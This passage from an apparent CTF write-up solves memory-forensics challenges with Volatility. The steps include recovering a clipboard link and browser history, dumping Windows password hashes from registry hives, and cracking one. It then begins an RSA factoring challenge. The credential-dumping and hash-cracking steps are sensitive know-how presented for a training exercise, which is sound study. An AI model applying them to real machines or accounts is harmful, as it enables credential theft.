operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>o</b>
'o' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>l</b>
'l' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>l</b>
'l' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>c</b>
'c' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>a</b>
'a' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>t</b>
't' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>{</b>
'{' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>c</b>
'c' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>o</b>
'o' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>m</b>
'm' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>m</b>
'm' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>a</b>
'a' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>n</b>
'n' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>d</b>
'd' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>s</b>
's' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>_</b>
'_' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>4</b>
'4' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>r</b>
'r' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>3</b>
'3' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>_</b>
'_' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>i</b>
'i' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>m</b>
'm' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>p</b>
'p' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>o</b>
'o' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>r</b>
'r' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>t</b>
't' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>a</b>
'a' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>n</b>
'n' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>t</b>
't' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;<b>}</b>
'}' is not recognized as an internal or external command,                       
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;hope you got it                                              
'hope' is not recognized as an internal or external command,                    
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;"are you trying to run strings?"                             
'"are you trying to run strings?"' is not recognized as an internal or external 
command,                                                                        
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;lolololololol                                                
'lolololololol' is not recognized as an internal or external command,           
operable program or batch file.                                                 
                                                                                
C:\Users\WhiteWolf&gt;                                                             
</pre><p>As can be seen from the output, the Mr. EvilPepo typed the flag one letter at a time into his console. The letters joined together on 1 line give us the flag:</p><h5 id="flag">Flag</h5><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Trolcat{comands_4r3_important}
</code></pre></div></div><h4 id="mr_evilpepo_2-496-pts-12-solves--mr_evilpepo_3-498-pts-9-solves">Mr_evilpepo_2 (496 pts 12 solves) &amp; Mr_evilpepo_3 (498 pts 9 solves)</h4><h5 id="description-3">Description</h5><h6 id="2">2</h6><p>Now After some good beating, Mr.EvilPepo saying he hides something on the internet. find it</p><p>Note: Use the file provided in Mr.EvilPepo Part-1</p><p>AUTHOR: WHITE_WOLF</p><h6 id="3">3</h6><p>The Top Secret file of Mr.EvilPepo is still not discovered this is your last mission of finding the top secret file related to Mr.EvilPepo Good Luck</p><p>Note: Use the file provided in Mr.EvilPepo Part-1</p><p>AUTHOR: WHITE_WOLF</p><h5 id="solution-3">Solution</h5><p>The descriptions for Mr_evilpepo 2 &amp; 3 are quite cryptic. They don’t really point in any direction so I solved them together, just exploring the memory dump.</p><p>I continued through the list of plug-ins (listed using <code class="language-plaintext highlighter-rouge">volatility --help</code>) and ran the <code class="language-plaintext highlighter-rouge">clipboard</code> plug-in:</p><pre>
$ volatility -f evilpepo.vmem --profile=Win7SP1x64 clipboard
Session    WindowStation Format                         Handle Object             Data                                              
---------- ------------- ------------------ ------------------ ------------------ --------------------------------------------------
         1 WinSta0       CF_UNICODETEXT               0x1501c9 0xfffff900c1b4da60 <b>https://mega.nz/file/m18...QogECaGsS5kKkDAytocSCZM</b>
         1 WinSta0       CF_TEXT                          0x10 ------------------                                                   
         1 WinSta0       0xf01c7L               0x200000000000 ------------------                                                   
         1 WinSta0       CF_TEXT                           0x1 ------------------                                                   
         1 ------------- ------------------            0xf01c7 0xfffff900c0199230                                                   
</pre><p>The clipboard contained a link to a file hosted on mega.nz, which unfortunately was not complete. Then I decided to run strings on the memory image to find the full link:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ strings evilpepo.vmem &gt; strings
$ strings -e l evilpepo.vmem &gt; stringsl
</code></pre></div></div><p>The <a href="https://man7.org/linux/man-pages/man1/strings.1.html#OPTIONS"><code class="language-plaintext highlighter-rouge">-e</code> option</a> allows to set a different encoding and <code class="language-plaintext highlighter-rouge">l</code> specifies 16-bit littlendian. I used it here because Windows is very fond of <a href="https://en.wikipedia.org/wiki/UTF-16">UTF-16</a>.</p><p>I then looked for another instance of the mega link in the strings outputs:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ grep mega.nz strings
https://mega.nz/file/m18HSSaJ#_4Gmn4aWnrKN2716fMdSQogECaGsS5kKkDAytocSCZM
mega.nz/file/m18HSSaJ#_4Gmn4aWnrKN2716fMdSQogECaGsS5kKkDAytocSCZMn and which is
governed
https://mega.nz/file/m18HSSaJ#_4Gmn4aWnrKN2716fMdSQogECaGsS5kKkDAytocSCZM
https://mega.nz/file/m18HSSaJ#_4Gmn4aWnrKN2716fMdSQogECaGsS5kKkDAytocSCZM
https://mega.nz/file/m18HSSaJ#_4Gmn4aWnrKN2716fMdSQogECaGsS5kKkDAytocSCZM008-2012
TrueCrypt Developers Association and which is governed
</code></pre></div></div><p>This <a href="https://mega.nz/file/m18HSSaJ#_4Gmn4aWnrKN2716fMdSQogECaGsS5kKkDAytocSCZM">linked</a> to a file named <code class="language-plaintext highlighter-rouge">secret</code> which didn’t seem to have any known format. Looking at it through the entropy filter revealed that it was probably encrypted:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ file secret
secret: data
</code></pre></div></div><p><img src="/assets/files/trollcatCTF21/evilpepo_secret_entropy.png" alt="secret entropy"/></p><p>This meant that some kind of key or password had to be found to be able to decrypt it.</p><p>Because the description of Mr_evilpepo_2 mentions “something [hidden] on the internet”, I looked at the volatility plug-ins that could have something to do with web browsing and I found <code class="language-plaintext highlighter-rouge">iehistory</code>:</p><pre>
$ volatility -f evilpepo.vmem --profile=Win7SP1x64 iehistory | grep Location
Location: http://www.bing.com/favicon.ico
Location: https://www.mozilla.org/media/img/favicons/firefox/browser/favicon.f093404c0135.ico
Location: https://www.google.com/chrome/static/images/favicons/favicon.ico
Location: :2021011220210113: WhiteWolf@http://www.bing.com/search?q=firefox&amp;src=IE-SearchBox&amp;FORM=IE8SRC
Location: :2021011220210113: WhiteWolf@:Host: www.bing.com
Location: :2021011220210113: WhiteWolf@https://www.mozilla.org/en-US/firefox/new
Location: :2021011220210113: WhiteWolf@:Host: www.mozilla.org
Location: :2021011220210113: WhiteWolf@https://www.mozilla.org/en-US/firefox/download/thanks
Location: :2021011220210113: WhiteWolf@https://download-installer.cdn.mozilla.net/pub/firefox/releases/84.0.2/win32/en-US/Firefox%20Installer.exe
Location: :2021011220210113: WhiteWolf@:Host: download-installer.cdn.mozilla.net
Location: :2021011220210113: WhiteWolf@:Host: dl.google.com
Location: :2021011220210113: WhiteWolf@http://www.bing.com/search?q=chrome&amp;src=IE-SearchBox&amp;FORM=IE8SRC
Location: :2021011220210113: WhiteWolf@file:///C:/Users/WhiteWolf/Documents/note.txt
Location: :2021011220210113: WhiteWolf@:Host: Computer
Location: :2021011220210113: WhiteWolf@file:///B:/note.txt
Location: :2021011220210113: WhiteWolf@file:///C:/Users/WhiteWolf/Documents/mysecret.txt
Location: :2021011220210113: WhiteWolf@file:///C:/Users/WhiteWolf/Documents/secret.txt
Location: :2021011220210113: WhiteWolf@file:///C:/Users/WhiteWolf/Downloads/flag.png
Location: :2021011220210113: WhiteWolf@file:///C:/Users/WhiteWolf/Documents/mysecret.txt
Location: :2021011220210113: WhiteWolf@https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B25511070-6CC0-180D-823B-829C28B8EFDF%7D%26lang%3Den%26browser%3D2%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/update2/installers/ChromeSetup.exe
Location: :2021011220210113: WhiteWolf@file:///C:/Users/WhiteWolf/Documents/secret.hc
Location: :2021011220210113: WhiteWolf@file:///C:/Users/WhiteWolf/Documents/secret.png.hc
Location: :2021011220210113: WhiteWolf@file:///B:/foryou.txt
Location: :2021011220210113: WhiteWolf@file:///C:/Users/WhiteWolf/Documents/Database.kdbx
Location: Visited: WhiteWolf@https://ieonline.microsoft.com/favicon.ico
Location: Visited: WhiteWolf@https://www.msn.com/?ocid=iehp
Location: Visited: WhiteWolf@https://static-global-s-msn-com.akamaized.net/hp-eas/sc/2b/a5ea21.ico
Location: Visited: WhiteWolf@http://go.microsoft.com/fwlink/?LinkId=69157
Location: Visited: WhiteWolf@http://www.bing.com/search?format=rss&amp;q=firefox&amp;src=IE-SearchBox&amp;FORM=IE8SRC
Location: Visited: WhiteWolf@file:///C:/Users/WhiteWolf/Documents/note.txt
Location: Visited: WhiteWolf@https://www.msn.com/en-in/?ocid=iehp
Location: Visited: WhiteWolf@https://www.google.com/chrome/thank-you.html?statcb=0&amp;installdataindex=empty&amp;defaultbrowser=0
Location: Visited: WhiteWolf@http://www.bing.com/search?q=chrome&amp;src=IE-SearchBox&amp;FORM=IE8SRC
Location: Visited: WhiteWolf@https://www.google.com/intl/en/chrome
Location: Visited: WhiteWolf@http://www.bing.com/search?q=firefox&amp;src=IE-SearchBox&amp;FORM=IE8SRC
Location: Visited: WhiteWolf@file:///B:/note.txt
Location: Visited: WhiteWolf@https://www.google.com/chrome/static/images/favicons/favicon.ico
Location: Visited: WhiteWolf@http://www.bing.com/search?format=rss&amp;q=chrome&amp;src=IE-SearchBox&amp;FORM=IE8SRC
Location: Visited: WhiteWolf@https://www.mozilla.org/en-US/firefox/new
Location: Visited: WhiteWolf@https://www.mozilla.org/en-US/firefox/download/thanks
Location: Visited: WhiteWolf@https://download-installer.cdn.mozilla.net/pub/firefox/releases/84.0.2/win32/en-US/Firefox%20Installer.exe
Location: Visited: WhiteWolf@https://www.google.com/chrome
Location: Visited: WhiteWolf@https://www.google.com/chrome/thank-you.html?statcb=0&amp;installdataindex=empty&amp;defaultbrowser=0
Location: Visited: WhiteWolf@https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7B25511070-6CC0-180D-823B-829C28B8EFDF%7D%26lang%3Den%26browser%3D2%26usagestats%3D0%26appname%3DGoogle%2520Chrome%26needsadmin%3Dprefers%26ap%3Dx64-stable-statsdef_1%26installdataindex%3Dempty/update2/installers/ChromeSetup.exe
Location: Visited: WhiteWolf@file:///C:/Users/WhiteWolf/Documents/mysecret.txt
Location: Visited: WhiteWolf@file:///C:/Users/WhiteWolf/Documents/secret.txt
Location: Visited: WhiteWolf@file:///C:/Users/WhiteWolf/Downloads/flag.png
Location: Visited: WhiteWolf@file:///C:/Users/WhiteWolf/Documents/mysecret.txt
Location: Visited: WhiteWolf@file:///C:/Users/WhiteWolf/Documents/secret.hc
Location: Visited: WhiteWolf@file:///C:/Users/WhiteWolf/Documents/secret.png.hc
Location: Visited: WhiteWolf@file:///B:/foryou.txt
Location: Visited: WhiteWolf@file:///C:/Users/WhiteWolf/Documents/Database.kdbx
</pre><p>We can see from the <code class="language-plaintext highlighter-rouge">iehistory</code> output that Mr. EvilPepo went on the Chrome and Firefox download pages, and that he looked at a few files that look suspicious:</p><ul><li><code class="language-plaintext highlighter-rouge">Database.kdbx</code> (<a href="https://keepass.info/">KeePass</a> database)</li><li><code class="language-plaintext highlighter-rouge">flag.png</code></li><li><code class="language-plaintext highlighter-rouge">foryou.txt</code></li><li><code class="language-plaintext highlighter-rouge">mysecret.txt</code></li><li><code class="language-plaintext highlighter-rouge">note.txt</code></li><li><code class="language-plaintext highlighter-rouge">secret.hc</code> (<a href="https://www.veracrypt.fr">VeraCrypt</a> Container File)</li><li><code class="language-plaintext highlighter-rouge">secret.png.hc</code> (<a href="https://www.veracrypt.fr">VeraCrypt</a> Container File)</li><li><code class="language-plaintext highlighter-rouge">secret.txt</code></li></ul><p>In order to recover those files, I ran the <code class="language-plaintext highlighter-rouge">filescan</code> plug-in:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ volatility -f evilpepo.vmem --profile=Win7SP1x64 filescan
Offset(P)            #Ptr   #Hnd Access Name
------------------ ------ ------ ------ ----
...
0x000000003d8cdd90     16      0 R--rw- \Device\HarddiskVolume1\Users\WhiteWolf\Documents\mysecret.txt
...
</code></pre></div></div><p>however, I could only find <code class="language-plaintext highlighter-rouge">mysecret.txt</code> from the list of files that had been found by iehistory. I then dumped the file:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ mkdir files
$ volatility -f evilpepo.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000003d8cdd90 -D files
$ cat files/file.None.0xfffffa8000e7fe10.dat
https://mega.nz/file/m18HSSaJ#_4Gmn4aWnrKN2716fMdSQogECaGsS5kKkDAytocSCZM
</code></pre></div></div><p><code class="language-plaintext highlighter-rouge">mysecret.txt</code> only contained the link to the <code class="language-plaintext highlighter-rouge">secret</code> file which we had already found.</p><p>In the filenames collected from <code class="language-plaintext highlighter-rouge">iehistory</code>, there were VeraCrypt files. Due to VeraCrypt being a fork of TrueCrypt, I tried running the volatility plug-ins for TrueCrypt (<code class="language-plaintext highlighter-rouge">truecryptmaster</code>, <code class="language-plaintext highlighter-rouge">truecryptpassphrase</code> &amp; <code class="language-plaintext highlighter-rouge">truecryptsummary</code>), which unfortunately gave empty results:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ volatility -f evilpepo.vmem --profile=Win7SP1x64 truecryptmaster
Volatility Foundation Volatility Framework 2.6.1
$ volatility -f evilpepo.vmem --profile=Win7SP1x64 truecryptpassphrase
Volatility Foundation Volatility Framework 2.6.1
$ volatility -f evilpepo.vmem --profile=Win7SP1x64 truecryptsummary
Volatility Foundation Volatility Framework 2.6.1
</code></pre></div></div><p>I wasn’t sure if that was because these plug-ins were not designed to work with VeraCrypt (in addition to TrueCrypt) or because the data necessary for these plug-ins to work wasn’t present in the memory dump.</p><p>I then continued with the usual memory forensics procedures: <code class="language-plaintext highlighter-rouge">psscan</code> and <code class="language-plaintext highlighter-rouge">hashdump</code>. <code class="language-plaintext highlighter-rouge">psscan</code> revealed that KeePass.exe was running. So I tried to dump its memory with the hope of being able to find passwords in there. Unfortunately, that didn’t bring anything fruitful.</p><p>Running <code class="language-plaintext highlighter-rouge">hashdump</code> revealed some hashes, however, after running them through <a href="https://www.openwall.com/john/">John the Ripper</a>, they turned out the be empty (or so I thought).</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ volatility -f evilpepo.vmem --profile=Win7SP1x64 --output-file=hashdump hashdump
$ cat hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WhiteWolf:1000:aad3b435b51404eeaad3b435b51404ee:2e6a7cf5aabb33a044684dd9c97e88a7:::
$ john hashdump
Warning: detected hash type "LM", but the string is also recognized as "NT"
Use the "--format=NT" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "LM-opencl"
Use the "--format=LM-opencl" option to force loading these as that type instead
Warning: detected hash type "LM", but the string is also recognized as "NT-opencl"
Use the "--format=NT-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Using default target encoding: CP850
Loaded 3 password hashes with no different salts (LM [DES 128/128 AVX])
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 661 candidates buffered for the current salt, minimum 1024 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
                 (WhiteWolf)
                 (Guest)
                 (Administrator)
3g 0:00:00:00 DONE 2/3 (2021-02-06 18:36) 6.382g/s 72531p/s 72531c/s 217595C/s 123456..GATOR6
Use the "--show --format=LM" options to display all of the cracked passwords reliably
Session completed
</code></pre></div></div><p>I then continued through the list of volatility plug-ins in the hope of finding something interesting. I ran the <code class="language-plaintext highlighter-rouge">screenshot</code> plug-in which revealed that notepad was open, however, that brought nothing new to light as <code class="language-plaintext highlighter-rouge">mysecret.txt</code> was the opened file which we already knew the content of (the mega link).</p><p><img src="/assets/files/trollcatCTF21/session_1.WinSta0.Default.png" alt="destop screenshot"/></p><p>I wasn’t making progress anymore, so I decided to search how to find credentials and passwords in a memory dump and I found <a href="https://www.aldeid.com/wiki/Volatility/Retrieve-password">a tutorial</a> that used <code class="language-plaintext highlighter-rouge">hivelist</code> and <code class="language-plaintext highlighter-rouge">hivedump</code> to retrieve windows hashes. Not really knowing what to do, I ran them:</p><pre>
$ volatility -f evilpepo.vmem --profile=Win7SP1x64 hivelist
Virtual            Physical           Name
------------------ ------------------ ----
0xfffff8a001162010 0x0000000038629010 \??\C:\System Volume Information\Syscache.hve
0xfffff8a005990010 0x000000001689c010 \SystemRoot\System32\Config\DEFAULT
0xfffff8a00000f010 0x00000000272e5010 [no name]
<b>0xfffff8a000024010 0x00000000272b0010 \REGISTRY\MACHINE\SYSTEM</b>
0xfffff8a000052010 0x000000002729e010 \REGISTRY\MACHINE\HARDWARE
0xfffff8a0000f3010 0x000000001b8c1010 \SystemRoot\System32\Config\SOFTWARE
0xfffff8a0005e8010 0x0000000034bc0010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a0008f2230 0x000000003a6c5230 \SystemRoot\System32\Config\SECURITY
<b>0xfffff8a0009c3010 0x000000000eea4010 \REGISTRY\MACHINE\SAM</b>
0xfffff8a000a4e010 0x000000000f73d010 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xfffff8a000aca410 0x000000000f5f8410 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xfffff8a000e19010 0x0000000003f66010 \??\C:\Users\WhiteWolf\ntuser.dat
0xfffff8a000e57010 0x0000000003f6a010 \??\C:\Users\WhiteWolf\AppData\Local\Microsoft\Windows\UsrClass.dat
$ volatility -f evilpepo.vmem --profile=Win7SP1x64 hivedump -y 0xfffff8a0009c3010 -y 0xfffff8a000024010 &gt; hashes.txt
$ cat hashes.txt
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WhiteWolf:1000:aad3b435b51404eeaad3b435b51404ee:<b>2e6a7cf5aabb33a044684dd9c97e88a7</b>:::
</pre><p>This tutorial used NTLM hashes instead of LANMAN ones and that’s when I realised that the NTLM hash for WhiteWolf wasn’t empty and that I had missed it when I ran <code class="language-plaintext highlighter-rouge">hashdump</code> earlier.</p><p>Using <a href="https://crackstation.net">crackstation</a> I cracked the password: <code class="language-plaintext highlighter-rouge">abracadabra</code>.</p><p>Now with a password in hand, I tried to decrypt the <code class="language-plaintext highlighter-rouge">secret</code> file with VeraCrypt. I went for VeraCrypt first because the file <code class="language-plaintext highlighter-rouge">secret</code> didn’t have any recognizable format so I didn’t think it would be possible to open it with KeePass.</p><video controls="true"><source src="/assets/files/trollcatCTF21/veracrypt.mp4"/></video><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat /mnt/veracrypt1/foryou.txt
Trollcat{y0u_got_n1ce_Skills!!!}
</code></pre></div></div><p>This turned out to be the flag for Mr_evilpepo_3 which meant that something was meant by “something being hidden on the internet” other than just a file being hosted on mega.nz.</p><p>So I tried to extract data from the browsers that had been installed. I ran the <a href="https://github.com/volatilityfoundation/community/blob/master/DaveLasalle/chromehistory.py">community plug-ins for chrome</a> following <a href="https://blog.superponible.com/2014/08/31/volatility-plugin-chrome-history/">this tutorial</a>:</p><p>After running <code class="language-plaintext highlighter-rouge">chromehistory</code> &amp; <code class="language-plaintext highlighter-rouge">chromevisits</code> with no output, I ran <code class="language-plaintext highlighter-rouge">chromesearchterms</code> which gave some results:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ volatility --plugins ~/plugins -f evilpepo.vmem --profile=Win7SP1x64 chromesearchterms
Row ID Keyword ID URL ID Lowercase                                                        Entered Text                                                    
------ ---------- ------ ---------------------------------------------------------------- ----------------------------------------------------------------
    26          2     54 trollcat memes                                                   trollcat memes                                                  
    25          2     53 trollcat memes                                                   trollcat memes                                                  
    24          2     52 trollcat memes                                                   trollcat memes                                                  
    23          2     51 trollcat memes                                                   trollcat memes                                                  
    22          2     50 trollcat memese                                                  trollcat memese                                                 
    21          2     49 veracrypt                                                        veracrypt                                                       
    20          2     45 keepass                                                          keepass                                                         
    19          2     44 trollcats ctf                                                    trollcats ctf                                                   
    18          2     39 keepass download                                                 keepass download                                                
    17          2     35 trollcats meme                                                   trollcats meme                                                  
    16          2     32 trollcats meme                                                   trollcats meme                                                  
    15          2     31 trollcats meme                                                   trollcats meme                                                  
    14          2     30 trollcats meme                                                   trollcats meme                                                  
    13          2     27 trollcats meme                                                   trollcats meme                                                  
    12          2     26 trollcats ctf                                                    trollcats ctf                                                   
    11          2     24 memes on ctf                                                     memes on ctf                                                    
    10          2     19 password protected pastebin                                      password protected pastebin                                     
     9          2     14 veracrypt                                                        veracrypt                                                       
     8          2     13 truecrypt                                                        truecrypt                                                       
     7          2     10 ctf memes                                                        ctf memes                                                       
     6          2      9 ctf memes                                                        ctf memes                                                       
     5          2      8 malware samplew                                                  malware samplew                                                 
     4          2      7 malware                                                          malware                                                         
     3          2      5 ctf memes                                                        ctf memes                                                       
     2          2      2 trollcats ctf                                                    trollcats ctf                                                   
     9       5135     13 
</code></pre></div></div><p>Looking at the results, it seemed that Mr. EvilPepo had installed KeePass &amp; VeraCrypt and had searched for memes. I thought that maybe some of these search terms were passwords. Something else that seemed interesting was “password protected pastebin”. In order to find if Mr. EvilPepo had been on some some kind of pastebin website, I searched for “paste” in the strings output that I had prepared earlier:</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ grep -i paste strings
...
Defuse Security's Encrypted Pastebin defuse.ca/b/sOOqp4UunTdD0oUjidJFlz location from history
...
</code></pre></div></div><p>Going on this link, the interface was a bit confusing, but eventually I inputted the password I had cracked earlier and clicked “Decrypt” which revealed the flag:</p><p><img src="/assets/files/trollcatCTF21/defuse.ca-pastebin.png" alt="Defuse.ca pastebin"/></p><h3 id="cryptography">Cryptography</h3><h4 id="radio-station-apocalypse-457-pts-34-solves">Radio Station Apocalypse (457 pts 34 solves)</h4><h5 id="description-4">Description</h5><p>Bob is trying to stop a Apocalypse can u help him decode his output</p><p><a href="https://cdn.discordapp.com/attachments/782656136976662539/807548896460144680/ciphertext.txt">File</a> Author : Wh1t3r0se</p><h5 id="solution-4">Solution</h5><p>This is an RSA challenge, as is implied by the name of the challenge which forms the acronym RSA. If we look at the content of the file given, we are given <code class="language-plaintext highlighter-rouge">ct</code> (the cihpertext<code class="language-plaintext highlighter-rouge">, </code>e<code class="language-plaintext highlighter-rouge">, </code>n<code class="language-plaintext highlighter-rouge"> and </code>p - q`.</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ct= 15927954374690152068700390298074593196253864077169207071831999310211243220084198633824761313226756137217716813832139827281860280786151119392571330914043785795154126460993477079312886238477507766509831010644388998659565303441719615131661670116956449101956505931748018171190878765731317846254607404813297135537090043417404895660853320127812799010027005785901634939020872408881201149711968120809368691413105318444873712717786940780346214959475833457688794871749017822337860503424073668090333543027469770960756536095503271163592383252371337847620140632398753943463160733918860277382675572411402618882039992721158705125550
e= 65537
n= 25368447768323504911600571988774494107818159082103458909402378375896888147122503938518591402940401613482043710928629612450119548224453500663121617535722112844472859040198762641907836363229969155712075958868854330020410559684508712810222293531147857306199021834554435068975911739307607540505629883798642466233546635096780559373979170475222394473493457660803818950607714830510840577490628849303933022437114380092662378432401109413796410640006146844170094240232072224662551989418393330140325743682017287713705780111627575953826016488999945470058220771848171583260999599619753854835899967952821690531655365651736970047327
(p-q)= 13850705243110859039354321081017038361100285164728565071420492338985283998938739255457649493117185659009054998475484599174052182163568940357425209817392780314915968465598416149706099257132486744034100104272832634714470968608095808094711578599330447351992808756520378741868674695777659183569180981300608614286
</code></pre></div></div><p>Because <a href="https://en.wikipedia.org/wiki/RSA_(cryptosystem)#Key_generation">p x q = n</a>, we can work out the value of p and q and then use RsaCtfTool to workout the plaintext. p - q is substitued by b for better clarity.</p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>p - q = b
p x q = n
p = b + q
q x (b + q) = n
bq + q^2 = n
0 = q^2 + bq - n
</code></pre></div></div><p>We can then use the quadratic equation to workout the value of q, substituting <code class="language-plaintext highlighter-rouge">a</code> with 1 and <code class="language-plaintext highlighter-rouge">c</code> with <code class="language-plaintext highlighter-rouge">-n</code>;</p><p><img src="https://wikimedia.org/api/rest_v1/media/math/render/svg/00c22777378f9c594c71158fea8946f2495f2a28" alt="Quadratic equation"/></p><div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt;&gt;&gt; from math import isqrt
&gt;&gt;&gt; c = -25368447768323504911600571988774494107818159082103458909402378375896888147122503938518591402940401613482043710928629612450119548224453500663121617535722112844472859040198762641907836363229969155712075958868854330020410559684508712810222293531147857306199021834554435068975911739307607540505629883798642466233546635096780559373979170475222394473493457660803818950607714830510840577490628849303933022437114380092662378432401109413796410640006146844170094240232072224662551989418393330140325743682017287713705780111627575953826016488999945470058220771848171583260999599619753854835899967952821690531655365651736970047327
&gt;&gt;&gt; b = 13850705243110859039354321081017038361100285164728565071420492338985283998938739255457649493117185659009054998475484599174052182163568940357425209817392780314915968465598416149706099257132486744034100104272832634714470968608095808094711578599330447351992808756520378741868674695777659183569180981300608614286
&gt;&gt;&gt; (-b + isqrt(b*b - 4*c)) // 2
152499890916776320998653744133858053858040491195676367580833765685801465668550782030624978780895730483048668416204723476732936549664363014792241110103591722802722925811679026916136070136123358563999687916468289972321939237538498300991215059941344271955912443135643418740974797112808138286922920053490440910781
&gt;&gt;&gt; q = _
&gt;&gt;&gt; (-b - isqrt(b*b - 4*c)) // 2
-166350596159887180038008065214875092219140776360404932652254258024786749667489521286082628274012916142057723414680208075906988731827931955149666319920984503117638894277277443065842169393255845308033788020741122607036410206146594109085926638540674719307905251892163797482843471808585797470492101034791049525067
&gt;&gt;&gt; b + q
166350596159887180038008065214875092219140776360404932652254258024786749667489521286082628274012916142057723414680208075906988731827931955149666319920984503117638894277277443065842169393255845308033788020741122607036410206146594109085926638540674719307905251892163797482843471808585797470492101034791049525067
